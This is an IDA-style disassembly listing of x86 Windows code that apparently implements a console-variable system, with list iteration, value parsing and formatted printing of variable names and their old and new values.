; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B0B0	proc near		; CODE XREF: sub_4019F1j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B0B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+1Ch+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	ecx, [esi+32h]
		mov	[esp+1Ch+var_4], 0
		call	sub_401749
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+1Ch+var_4], 1
		call	sub_401749
		lea	edi, [esi+8Eh]
		lea	eax, [esp+1Ch+var_11]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+20h+var_4], 2
		call	sub_401BF4
sub_40B0B0	endp

; ---------------------------------------------------------------------------
		mov	ecx, edi
		mov	byte ptr [esp+18h], 3
		mov	dword ptr [esi], offset	off_43E020
		call	sub_401BEF
		mov	ecx, [esp+10h]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B170	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B170
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+18h+var_10], esi
		mov	dword ptr [esi], offset	off_43E020
		lea	edi, [esi+8Eh]
		mov	[esp+18h+var_4], 3
		mov	ecx, edi
		call	sub_401BEF
		mov	ecx, edi
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401555
sub_40B170	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+0Ch]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B210	proc near		; CODE XREF: sub_4017EEj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40B210
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8Eh]
		call	sub_401BEF
		push	0
		push	14h
		push	13h
		push	9
		push	0Ch
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	eax, [esp+64h+var_3C]
		push	3
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+44h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447158
		call	sub_401591
sub_40B210	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	7
		push	4Fh
		push	12h
		push	1
		push	16h
		lea	edx, [esp+24h]
		push	3
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	14h
		push	5
		push	13h
		push	4Eh
		push	12h
		push	1
		push	16h
		lea	ecx, [esp+3Ch]
		push	3
		push	ecx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+40h], 2
		call	sub_4017E4
		add	esi, 60h
		push	eax
		push	esi
		mov	ecx, offset dword_447158
		call	sub_401591
; ---------------------------------------------------------------------------
		mov	dword ptr [esp+3Ch], 0FFFFFFFFh
		lea	ecx, [esp+1Ch]
		call	sub_401226
		mov	ecx, [esp+34h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B390	proc near		; CODE XREF: sub_40180Cj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= byte ptr  14h
arg_14		= byte ptr  18h
arg_18		= dword	ptr  1Ch

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		mov	ecx, [esp+8+arg_0]
		push	eax
		add	ecx, 1Eh
		call	sub_401FBE
		mov	eax, [esp+8+arg_0]
		mov	edx, [esp+8+arg_C]
		push	edx
		lea	ecx, [eax+33h]
		call	sub_401FBE
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_10]
		mov	edi, [esp+8+arg_8]
		mov	[ecx+48h], dl
		mov	eax, [esp+8+arg_0]
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_401F32
		mov	ecx, [esp+8+arg_0]
		mov	dl, [esp+8+arg_14]
		push	edi
		mov	[ecx+4], dl
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_18]
		mov	[eax+5], ecx
		mov	ecx, [esp+0Ch+arg_0]
		call	sub_401FBE
		lea	edx, [esp+8+arg_0]
		lea	ecx, [esi+8Eh]
		push	edx
		call	sub_401906
sub_40B390	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn	1Ch
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40B430	proc near		; CODE XREF: sub_401B5Ej

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_40B430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		mov	eax, [esp+54h+arg_C]
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		push	eax
		lea	ecx, [esp+64h+var_24]
		call	sub_401861
		mov	edi, eax
		mov	ecx, [esp+60h+arg_8]
		mov	[esp+60h+var_4], 0
		push	ecx
		lea	ecx, [esp+64h+var_3C]
		call	sub_401861
		mov	ebp, eax
		mov	edx, [esp+60h+arg_4]
		lea	ecx, [esp+60h+var_54]
		push	edx
		mov	byte ptr [esp+64h+var_4], 1
		call	sub_401861
		mov	ecx, [esp+60h+arg_18]
		mov	edx, [esp+60h+arg_14]
		push	ecx
		mov	ecx, [esp+64h+arg_10]
		push	edx
		mov	edx, [esp+68h+arg_0]
		push	ecx
		push	edi
		push	ebp
		push	eax
		push	edx
		mov	ecx, esi
		mov	byte ptr [esp+7Ch+var_4], 2
		call	sub_40180C
sub_40B430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+5Ch], 1
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	byte ptr [esp+5Ch], 0
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+5Ch], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+54h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 54h
		retn	1Ch
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B520	proc near		; CODE XREF: sub_4019CEj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+10h+var_8]
		call	sub_40153C
		add	esi, 8Eh
		lea	eax, [esp+10h+var_4]
		push	eax
		mov	ecx, esi
		call	sub_401451
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_4]
		mov	[esp+10h+var_8], ecx
		push	edx
		mov	ecx, esi
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jz	short loc_40B5A1
		mov	edi, [esp+10h+arg_0]


loc_40B566:				; CODE XREF: sub_40B520+7Fj
		push	edi
		lea	ecx, [esp+14h+var_8]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4021AD
		test	eax, eax
		lea	ecx, [esp+10h+var_8]
		jz	short loc_40B5AB
		call	sub_40133E
		lea	eax, [esp+10h+var_4]
		mov	ecx, esi
		push	eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+14h+var_8]
		call	sub_40136B
		test	al, al
		jnz	short loc_40B566


loc_40B5A1:				; CODE XREF: sub_40B520+40j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------


loc_40B5AB:				; CODE XREF: sub_40B520+60j
		call	sub_401F5A
		mov	eax, [eax]
		pop	edi
		pop	esi
		add	esp, 8
		retn	8
sub_40B520	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B5F0:				; CODE XREF: ___:00401456j
		push	0FFFFFFFFh
		push	offset loc_438BF8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		mov	eax, [esp+28h]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		call	sub_401861
		mov	ecx, [esp+30h]
		mov	dword ptr [esp+24h], 0
		push	ecx
		push	eax
		mov	ecx, esi
		call	sub_4019CE
		lea	ecx, [esp+4]
		mov	esi, eax
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B680	proc near		; CODE XREF: sub_401596j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B6D1
		mov	byte ptr [esi+19h], 1


loc_40B6D1:				; CODE XREF: sub_40B680+4Bj
		pop	esi
		retn	8
sub_40B680	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B700	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ecx, esi
		mov	eax, [edi+9]
		push	eax
		call	sub_4015D7
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1CF90h
		fstp	dword ptr [esi+15h]
		add	esp, 4
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		mov	ecx, esi
		mov	[esi+1Ah], eax
		mov	byte ptr [esi+19h], 0
		push	offset aTrue	; "true"
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40B755
		mov	byte ptr [esi+19h], 1


loc_40B755:				; CODE XREF: sub_40B700+4Fj
		mov	cl, [edi+4]
		mov	[esi+4], cl
		mov	edx, [edi+5]
		mov	[esi+5], edx
		pop	edi
		pop	esi
		retn	8
sub_40B700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B790:				; CODE XREF: ___:00401D43j
		fld	dword ptr [esp+8]
		push	esi
		mov	esi, [esp+8]
		sub	esp, 8
		fstp	qword ptr [esp]
		push	offset aF	; "%f"
		push	esi
		call	sub_40102D
		mov	eax, [esp+1Ch]
		add	esp, 10h
		mov	ecx, esi
		mov	[esi+15h], eax
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		fld	dword ptr [esp+10h]
		fcomp	flt_43E024
		mov	[esi+1Ah], eax
		add	esp, 4
		mov	byte ptr [esi+19h], 0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_40B7E1
		mov	byte ptr [esi+19h], 1


loc_40B7E1:				; CODE XREF: ___:0040B7DBj
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B810:				; CODE XREF: ___:00401C94j
		push	ebx
		mov	bl, [esp+0Ch]
		test	bl, bl
		push	esi
		jz	short loc_40B840
		mov	esi, [esp+0Ch]
		push	offset aTrue	; "true"
		mov	ecx, esi
		call	sub_4015D7
		mov	dword ptr [esi+15h], 3F800000h
		mov	dword ptr [esi+1Ah], 1
		mov	[esi+19h], bl
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40B840:				; CODE XREF: ___:0040B818j
		mov	esi, [esp+0Ch]
		push	offset aFalse	; "false"
		mov	ecx, esi
		call	sub_4015D7
		xor	eax, eax
		mov	[esi+19h], bl
		mov	[esi+15h], eax
		mov	[esi+1Ah], eax
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B880:				; CODE XREF: ___:00401D6Bj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+10h]
		push	edi
		push	offset dword_4437F4
		push	esi
		call	sub_40102D
		fild	dword ptr [esp+1Ch]
		add	esp, 0Ch
		cmp	edi, 1
		mov	[esi+1Ah], edi
		mov	byte ptr [esi+19h], 0
		fstp	dword ptr [esi+15h]
		jl	short loc_40B8B0
		mov	byte ptr [esi+19h], 1


loc_40B8B0:				; CODE XREF: ___:0040B8AAj
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40B8D0:				; CODE XREF: ___:loc_401ACDj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_438C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 4Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+68h]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BA12
		lea	ebx, [esi+69h]
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aCvar	; "(cvar)"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+6Ch]
		call	sub_40153C
		add	ebp, 8Eh
		lea	edx, [esp+10h]
		push	edx
		mov	ecx, ebp
		xor	edi, edi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		mov	[esp+70h], eax
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jz	loc_40BA0B


loc_40B976:				; CODE XREF: ___:0040BA05j
		lea	ecx, [esp+6Ch]
		inc	edi
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 33h
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+70h]
		call	sub_401F5A
		mov	ecx, [eax]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+74h]
		call	sub_401F5A
		mov	ecx, [eax]
		add	ecx, 1Eh
		call	sub_4017E4
		push	eax
		push	edi
		push	offset aDSSS	; "[%d]	\"%s\" = \"%s\"	(\"%s\")"
		mov	ecx, ebx
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 24h
		push	5DCh
		nop
		call	near ptr 2821EEEh
		lea	ecx, [esp+6Ch]
		call	sub_40133E
		lea	ecx, [esp+10h]
		push	ecx
		mov	ecx, ebp
		call	sub_401C71
		push	eax
		lea	ecx, [esp+70h]
		call	sub_40136B
		test	al, al
		jnz	loc_40B976


loc_40BA0B:				; CODE XREF: ___:0040B970j
		mov	al, 1
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BA12:				; CODE XREF: ___:0040B907j
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40BAA5
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 0
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSS_5	; "%s =	\"%s\""
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		jmp	loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BAA5:				; CODE XREF: ___:0040BA24j
		lea	ecx, [ebp+60h]
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40BB98
		push	offset asc_443600 ; " "
		lea	edx, [esp+30h]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	1
		push	eax
		mov	ecx, ebp
		mov	dword ptr [esp+6Ch], 1
		call	sub_4019CE
		lea	ecx, [esp+2Ch]
		mov	edi, eax
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		test	edi, edi
		jz	loc_40BB98
		push	edi
		lea	ecx, [esp+18h]
		call	sub_4014C9
		mov	ebx, 2
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+4Ch]
		push	ebx
		push	eax
		mov	ecx, esi
		mov	[esp+74h], ebx
		call	sub_4011EA
		push	eax
		push	edi
		mov	ecx, ebp
		mov	byte ptr [esp+6Ch], 3
		call	sub_401F32
		lea	ecx, [esp+44h]
		mov	[esp+64h], bl
		call	sub_401226
		lea	ecx, [esp+14h]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		lea	ecx, [edi+1Eh]
		call	sub_4017E4
		push	eax
		push	offset aSSWasS	; "%s =	\"%s\" [was \"%s\"]"
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 20h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+64h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_40BB9A
; ---------------------------------------------------------------------------


loc_40BB98:				; CODE XREF: ___:0040BA60j
					; ___:0040BAB7j ...
		xor	al, al


loc_40BB9A:				; CODE XREF: ___:0040BA0Dj
					; ___:0040BAA0j ...
		mov	ecx, [esp+5Ch]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 58h
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 0C0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BC70	proc near		; CODE XREF: sub_401BF4j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	0
		mov	cl, [eax]
		push	0
		mov	[esi], cl
		mov	ecx, esi
		call	sub_4021CB
sub_40BC70	endp

; ---------------------------------------------------------------------------
		mov	[esi+4], eax
		mov	dword ptr [esi+8], 0
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BCB0	proc near		; CODE XREF: sub_401555j

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		mov	edx, [esi+4]
		mov	ecx, esi
		push	edx
		call	sub_401FCD
sub_40BCB0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD20	proc near		; CODE XREF: sub_401451j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		mov	esi, [esp+8+arg_0]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BD60	proc near		; CODE XREF: sub_401C71j

arg_0		= dword	ptr  4

		mov	eax, [ecx+4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	esi
		retn	4
sub_40BD60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BD90	proc near		; CODE XREF: sub_401906j

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_401C71
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401C49
sub_40BD90	endp

; ---------------------------------------------------------------------------
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BDD0	proc near		; CODE XREF: sub_401BEFj

var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4

		sub	esp, 0Ch
		lea	eax, [esp+0Ch+var_C]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401C71
		mov	ecx, [eax]
		lea	edx, [esp+10h+var_8]
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_401451
		mov	eax, [eax]
		lea	ecx, [esp+14h+var_4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_40124E
		pop	esi
		add	esp, 0Ch
		retn
sub_40BDD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE20	proc near		; CODE XREF: sub_40153Cj
		push	esi
		mov	esi, ecx
		call	sub_40213A
		mov	eax, esi
		pop	esi
		retn
sub_40BE20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE40	proc near		; CODE XREF: sub_401F5Aj
		mov	eax, [ecx]
		push	eax
		call	sub_401839
		add	esp, 4
		retn
sub_40BE40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE60	proc near		; CODE XREF: sub_40133Ej
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_4020F9
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_40BE60	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BE90	proc near		; CODE XREF: sub_40136Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401CE9
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_40BE90	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BEC0	proc near		; CODE XREF: sub_401C49j

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4016A4
		mov	edi, eax
		push	edi
		call	sub_40213F
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_4021CB
sub_40BEC0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_40213F
		push	edi
		mov	[eax], ebx
		call	sub_40213F
		mov	edi, [eax]
		push	edi
		call	sub_40213F
		mov	ecx, [eax]
		push	ecx
		call	sub_4020F9
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401839
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401F14
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		mov	esi, [esp+14h]
		mov	ecx, esi
		call	sub_4014A6
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40BF60	proc near		; CODE XREF: sub_40124Ej

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jz	short loc_40BFBA


loc_40BF78:				; CODE XREF: sub_40BF60+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B86
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40BF78
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40BFBA:				; CODE XREF: sub_40BF60+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40BF60	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40BFF0	proc near		; CODE XREF: sub_4021CBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_40155F
sub_40BFF0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C005
		mov	edi, esi


loc_40C005:				; CODE XREF: ___:0040C001j
		push	esi
		call	sub_4020F9
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C01A
		mov	edi, esi


loc_40C01A:				; CODE XREF: ___:0040C016j
		push	esi
		call	sub_40213F
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


